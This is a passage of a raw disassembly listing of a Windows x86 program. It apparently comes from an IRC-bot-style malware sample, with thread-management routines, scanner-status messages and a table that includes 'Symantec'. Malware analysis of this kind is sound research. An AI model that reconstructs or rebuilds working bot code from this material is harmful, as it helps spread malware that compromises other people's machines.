dword_43DEF4[esi] lea edi, dword_43DEF4[esi] nop call near ptr 2690632h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEE8[esi] mov dword_43DEE0[esi], ebx mov dword_43DEE4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEEC[esi] mov byte ptr dword_43DCE0[esi], bl mov byte_43DEF8[esi], bl push dword ptr [edi] call dword_4CB03C lea esi, dword_43DEF0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB03C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCE0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACE0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEE4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEE4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEE0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEE0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEE0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEE0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEF4[eax], ecx mov dword_43DEE0[eax], ecx mov dword_43DEE4[eax], ecx mov dword_43DEE8[eax], ecx mov dword_43DEEC[eax], ecx mov dword_43DEF0[eax], ecx mov byte ptr dword_43DCE0[eax], cl mov byte_43DEF8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317D4 push eax xor ebx, ebx call sub_41B886 cmp dword_431438, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431440 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317C8 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACE4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDAB0 mov ecx, dword_4CDAAC push esi push dword_4CACE4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDAB0 lea eax, [ebp+var_200] push dword_4CDAAC push offset unk_4317F4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCF4 push offset unk_43183C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431888 push eax call sub_41B886 cmp dword_431438, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431878 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFE4 xor edi, edi mov [ebp-8], eax cmp dword_431438, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431438 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318D8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_4318A4 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0F0[eax*8] call dword_4CB030 push eax lea eax, [ebp+var_200] push offset unk_431928 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431908 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431444[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD1AC push 104h push esi push ebx mov dword_4CD3BC, eax mov dword_4CD3B8, ebx nop call near ptr 2670000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD2B0 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD1A8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD440, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD3BC push offset unk_42BE8C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD3B4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD1A8 push offset word_411796 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CD3B4 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD448, ebx jnz short loc_40BC23 push 32h nop call near ptr 2670ECEh jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2680930h push eax lea eax, [ebp+var_204] push offset unk_431A48 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACE0 mov esi, offset dword_4CD454 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD664, eax mov dword_4CD660, ebx nop call near ptr 2670000h push 103h push edi push offset dword_4CD558 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD450, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6E8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD664 push offset unk_431A14 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD65C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD450 push offset byte_40E991 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CD65C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6F0, ebx jnz short loc_40BD47 push 32h call near ptr 2670ECEh nop jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 2680930h push eax lea eax, [ebp+var_204] push offset unk_4319E0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43144C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCEC cmp [ebp+arg_90], bl mov dword_4CD114, eax mov eax, [ebp+arg_110] mov dword_4CD108, eax mov eax, [ebp+arg_138] mov dword_4CD110, ebx mov dword_4CD198, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD114 lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD10C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD108 push offset byte_40E6EF push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CD10C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD1A0, ebx jnz short loc_40BE6A push 32h nop call near ptr 2670ECEh jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call near ptr 2680930h nop push eax lea eax, [ebp+var_204] push offset unk_431978 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431448[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD984 push 104h push esi push ebx call near ptr 2670000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA9C, ebx mov dword_4CDA88, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6FC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6F8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA88 mov dword_4CDA94, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA98, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BE14 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA90, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6F8 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDA90 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDAA4, ebx jnz short loc_40BF92 push 32h call near ptr 2670ECEh nop jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call near ptr 2680930h nop push eax lea eax, [ebp+var_204] push offset unk_431944 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, 